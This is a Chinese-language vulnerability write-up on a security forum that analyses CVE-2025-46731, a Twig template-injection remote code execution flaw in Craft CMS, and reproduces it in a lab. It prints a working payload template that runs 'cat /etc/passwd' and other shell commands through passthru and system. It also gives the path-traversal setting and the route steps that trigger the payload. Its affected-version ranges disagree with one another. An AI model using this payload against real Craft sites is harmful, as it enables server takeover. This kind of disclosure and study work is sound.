问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-46731|CraftCMS Twig SSTI 代码执行漏洞分析与复现
漏洞分析
Craft 是一个内容管理系统。低于 4.14.13 的 4.x 分支和低于 5.6.16 的 5.x 分支上的 Craft CMS 版本包含通过 Twig SSTI 的潜在远程代码执行漏洞。必须具有管理员访问权限,并且必须启用用“ALLOW_ADMIN_CHANGES”才能正常工作。
一、漏洞简介 ====== Craft 是一个内容管理系统。低于 4.14.13 的 4.x 分支和低于 5.6.16 的 5.x 分支上的 Craft CMS 版本包含通过 Twig SSTI 的潜在远程代码执行漏洞。必须具有管理员访问权限,并且必须启用用“ALLOW\_ADMIN\_CHANGES”才能正常工作。 二、影响版本 ====== 影响版本: 4.0.0-RC1 ~ 4.12.1 5.0.0-RC1 ~ 5.4.2 三、漏洞原理分析 ======== src/helpers/FileHelper.php 的 106 - 137 行 `absolutePath` 方法:  这是一个PHP 静态方法,主要功能是把一个路径转换成绝对路径,以下是详细解释: 1. 一些变量: 1. `$to`:目标路径 2. `$from`:来源路径 3. `$ds`:目录分隔符 2. `normalizePath`:先对 `$to` 进行标准化,比如把 `./`、`..`、多余的斜杠给整理一下。 3. 判断 $to 是否已经是绝对路径: 1. 如果是绝对路径: 1. Linux/macOS:如果 `$to` 是以 `/` 开头,说明已经是绝对路径。 2. Windows:比如 `C:\\path\\to\\file` 这样以 `盘符:` 开头的路径,也视为绝对路径。 3. 如果是绝对路径,就直接返回 `$to`。 2. 如果是相对路径: 1. 如果没给 `$from`,就取当前工作目录(`getcwd()`)。 2. 如果给了 `$from`,递归调用自己,也把 `$from` 变成绝对路径。 4. 拼接处最终的绝对路径:把 `$from` 和 `$to`拼起来,用目录分隔符 `$ds`。 这里最终返回的拼接路径没有再进行标准化。只是中间用 `normalizePath` 对 `$to` 进行了标准化。追踪到这个函数,还是这个文件的 54 - 71 行:  这个方法的主要功能是对路径进行清洗,一个是统一斜杠,再就是处理一些特殊情况,以下是详细解释: 1. 去掉 `file://` 协议头:比如传入 file://var/www/html,处理完变成 /var/www/html。这么做主要是为了统一,不管是 URL 形式的还是本地路径,最后都当作普通路径来处理。 2. 判断是不是 UNC 网络共享路径: 1. UNC 路径:Windows网络共享路径,例如:`\\\\server\\share\\file.txt`,`//server/share/file.txt`。 2. 如果是 `//` 或者 `\\\\\\\\` 开头的就是 UNC 路径。 3. 调用父类的 `normalizePath` 统一格式:把 `\\` 和 `/` 都统一成 `$ds`(目录分隔符),去掉多余的斜杠。 4. 如果原来是 UNC 路径,补回前面的双斜杠,这样能保证 UNC 路径的正确格式,不会被当作普通的本地路径处理。 所以将 filesystem 的 basepath 设置为 `../templates/poc` 是可以绕过检测的。 构造恶意文件 poc.ttml,内容如下: ```bash {{''}} {{ 8*8 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}} ``` 详细解释: - 输出 `<pre>` ,主要用来格式化输出。 - 8\*8:如果你注入成功,返回数字 `64`,说明模板引擎可控 - 判断数组 `['id']` 中 是否存在(some)值等于 `'system'` - 判断数组 `['ls']` 中的所有元素(every)是否都等于 `'passthru'` - 对数组 `['cat /etc/passwd']` 用 `find()` 过滤,保留包含 `'system'` 的元素 - 对数组 `['id;pwd;ls -altr /']` 用 `find()` 过滤,保留包含 `'passthru'` 的元素 这个文件中的内容都是正常的 Twig 语法,不会进行系统调用,但是在 CraftMCS 中,会经过 CraftCMS 的渲染,就不单纯是 Twig 了,而是集成了 PHP 环境和用户自定义函数,允许开发者在模板里调用 PHP 函数或 CraftCMS 封装的服务类。 比如:`find('passthru')` 本来是字符串函数,但因为CraftCMS把`passthru`函数注册成了Twig filter,就会真实的执行系统命令。 简单说: - .ttml文件 : 被 CraftCMS 当作"带权限"的 Twig 模板 来渲染 - CraftCMS 中对 `ls`、`cat`、`id` 这样的 payload,如果环境配置/插件漏洞存在则会 自动调用 PHP 的 `exec()`/`shell_exec()` - 所以这个恶意文件的 payload 表面上是 `{{['id;pwd;ls -altr /']|find('passthru')}}` ,但实际上CraftCMS会预处理命令字符串并动态执行(尤其是某些插件或恶意模板服务) CraftCMS 用 Twig 作为模板引擎,定位到渲染入口,src/web/View.php 的 renderPageTemplate 方法,533行 - 564行:  `echo $this->renderTemplate($template, $variables);`:对 $template, 和 $variables 直接调用`renderTemplate` 。所以传入的 .ttml 模板名字直接进入了 `renderTemplate()` 。Twig引擎负责解析模板文件,模板里如果有`{{ system('id') }}` 这种语句,并且 Twig 沙箱未启用,可以直接触发 php 的system 函数,进行命令执行。 下面定位到 `renderTemplate()` 方法,还是同一个文件的 481行 - 509行:  这段代码是一个用于渲染模板的函数,它是基于 Craft CMS 框架的。这个函数的核心任务是从给定的模板名 `$template` 和模板变量 `$variables` 渲染出 HTML 内容。这段代码的重点是 `$this->getTwig()->render()` 部分,用这个方法进行了实际的模板渲染,将模板名和变量传入,并将渲染结果存储在 `$output` 中。 再定位到 `getTwig()` 方法,还是再同一个文件的 367行 - 372行:  这段代码用于返回 Twig 渲染引擎 (Environment) 的实例,根据当前模板模式(`$this->_templateMode`)来决定使用 控制面板 (CP) 的 Twig 环境还是 站点 (Site) 的 Twig 环境: - 如果当前模板模式是 控制面板 (TEMPLATE\_MODE\_CP): - 返回 `$this->_cpTwig`,如果没初始化,就用 `createTwig()` 创建。 - 如果当前模板模式是 站点 (Site): - 返回 `$this->_siteTwig`,如果没初始化,也同样用 `createTwig()` 创建。 是否启用 Twig Sandbox(沙箱)机制,实际上是在 `createTwig()` 这个方法里做决定的,定位到这个方法,还是同一个文件,379行 - 425行:  从代码中可以看出,没有添加沙箱扩展,也就是 SandboxExtension,所以这个 `createTwig()` 创建出来的 Twig 环境是不受沙箱保护的。所以模板里如果有`{{ system('id') }}` 这种语句,可以直接触发 php 的system 函数,进行命令执行。 四、环境搭建 ====== 这里采用的是在 Ubuntu 下搭建 CraftCMS 5.4.1 版本。 前提:安装 ddev,php8.2 版本。 1. 安装ddev --------- 1. 下载 ddev 的官方安装脚本:`curl -LO <https://raw.githubusercontent.com/ddev/ddev/master/scripts/install_ddev.sh`> 2. 运行安装脚本: ```bash chmod +x install_ddev.sh ./install_ddev.sh ``` 3. 验证安装成功:`ddev version` 2. 安装 php 8.2 ------------- 1. 下载:`wget <https://www.php.net/distributions/php-8.2.10.tar.gz`> 2. 解压:`tar -zxvf php-8.2.10.tar.gz` 3. 安装依赖: 1. 创建一个 [install.sh](http://install.sh) 文件,文件内容如下: ```bash sudo apt-get update sudo apt-get install -y \\ build-essential \\ pkg-config \\ libxml2-dev \\ libsqlite3-dev \\ zlib1g-dev \\ libbz2-dev \\ libcurl4-openssl-dev \\ libssl-dev \\ libffi-dev \\ libpng-dev \\ libwebp-dev \\ libjpeg-dev \\ libonig-dev \\ libzip-dev \\ libreadline-dev \\ libxslt1-dev \\ libncurses5-dev \\ libedit-dev \\ libtidy-dev \\ libicu-dev ``` 2. 执行 sh 文件:`./install.sh` 4. 预编译:`./configure --prefix=/usr/local/php --sysconfdir=/etc/php --with-openssl --with-zlib --with-bz2 --with-curl --enable-bcmath --enable-gd --with-webp --with-jpeg --with-mhash --enable-mbstring --with-imap-ssl --with-mysqli --enable-exif --with-ffi --with-zip --enable-sockets --with-pcre-jit --enable-fpm --with-pdo-mysql --with-freetype`  5. 开始安装:`sudo make && sudo make install`  6. 确认版本:`php -v` 7. 如果系统中有老版本的php,想要将php的默认版本切换到 8.2 1. 先确定8.2 版本的 php 的路劲:`/usr/local/php/bin/php -v` ,如果执行后输出的是8.2 就是对的。 2. 调整环境变量: 1. 编辑 ~/.bashrc:`vim ~/.bashrc` 2. 在最后一行加上: `export PATH=/usr/local/php/bin:$PATH` 3. 执行:`source ~/.bashrc` 4. 再测试:`php -v` 3. 安装 Craft CMS 5.4.1 --------------------- 1. 创建目录:`mkdir craftcms && cd craftcms` 2. 把当前用户加入 docker 用户组: 1. 原因是 ddev 是非 root 工具,内部要通过 /var/run/docker.sock 跟 Docker 通信;这个 socket 文件的权限是只有 root 和 docker 组能访问。 2. 执行命令: 1. `sudo usermod -aG docker $USER` 2. `newgrp docker` 3. `groups` 3. 用 ddev 初始化一个 CraftCMS 项目配置环境:`ddev config --project-type=craftcms --docroot=web --create-docroot` 4. 用 ddev 执行 composer 来创建一个 CraftCMS 5.4.1 项目:`ddev composer create -y --no-scripts "craftcms/craft:5.4.1"` 1. 注意坑:本质上是 ddev composer 命令背后其实还是走的 Composer 依赖解析逻辑,而 craftcms/craft 这个包特殊,它的 5.4.0 版本号其实是起始框架版本,但它内部依赖的 craftcms/cms,在解析时默认会装最新小版本(也就是5.7.5,这个最新版本,漏洞已经修复了)。 2. 解决方法就是手动锁定 craftcms/cms 到 5.4.0:`ddev composer require craftcms/cms:5.4.1 --no-scripts -W` 3. 执行完上述命令以后再确定一下安装的版本:`ddev composer show craftcms/cms` 5. 上面降级了代码层面,还要降级数据库层面: 1. `ddev stop` 2. `ddev mysql -e "DROP DATABASE db; CREATE DATABASE db;"` 3. `ddev start` 6. Craft 安装: 1. `ddev craft install` 2. `php craft setup/security-key` 3. `ddev start` 4. `ddev launch` 点击下图中的位置,输入前面设置的用户名和密码,即可进入控制面板:  五、漏洞复现 ====== 整体思路: 1. 新建一个 Filesystem, 2. 新建一个 Assets volume 指向这个 Filesystem, 3. 在 Assets 中上传恶意文件, 4. 新建一个 Route,指向上传的恶意文件, 5. 访问这个文件,触发。 下面是具体过程: settings - Filesystems :  右上角 New filesystem:  Base Path 设置为:`../templates/poc`  Save以后,在根目录的 templates 目录下出现 poc 目录:  用新建的名为 poc 的filesystem,创建一个新的 asset volume:settings - assets  new volume:  这里的 asset filesystem 要选择前面新建的名为 poc 的 filesystem:sava一下即可。  准备好新建一个文件 `poc.ttml`,Linux环境下的文件内容如下: ```bash {{''}} {{ 8*8 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}} ``` 在 Assets - poc 这里上传 ttml 文件:  上传后的样子:  在 templates/poc 中会出现上传的文件:  回到 settings - routes:  创建一个新路由,内容如下:poc/poc.ttml  访问:<http://127.0.0.1:32780/rce>  六、修复建议 ====== 用户应更新到修补后的版本 4.14.13 或 5.6.15 以缓解此问题。
发表于 2025-05-28 09:00:02
阅读 ( 1021 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
reset
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!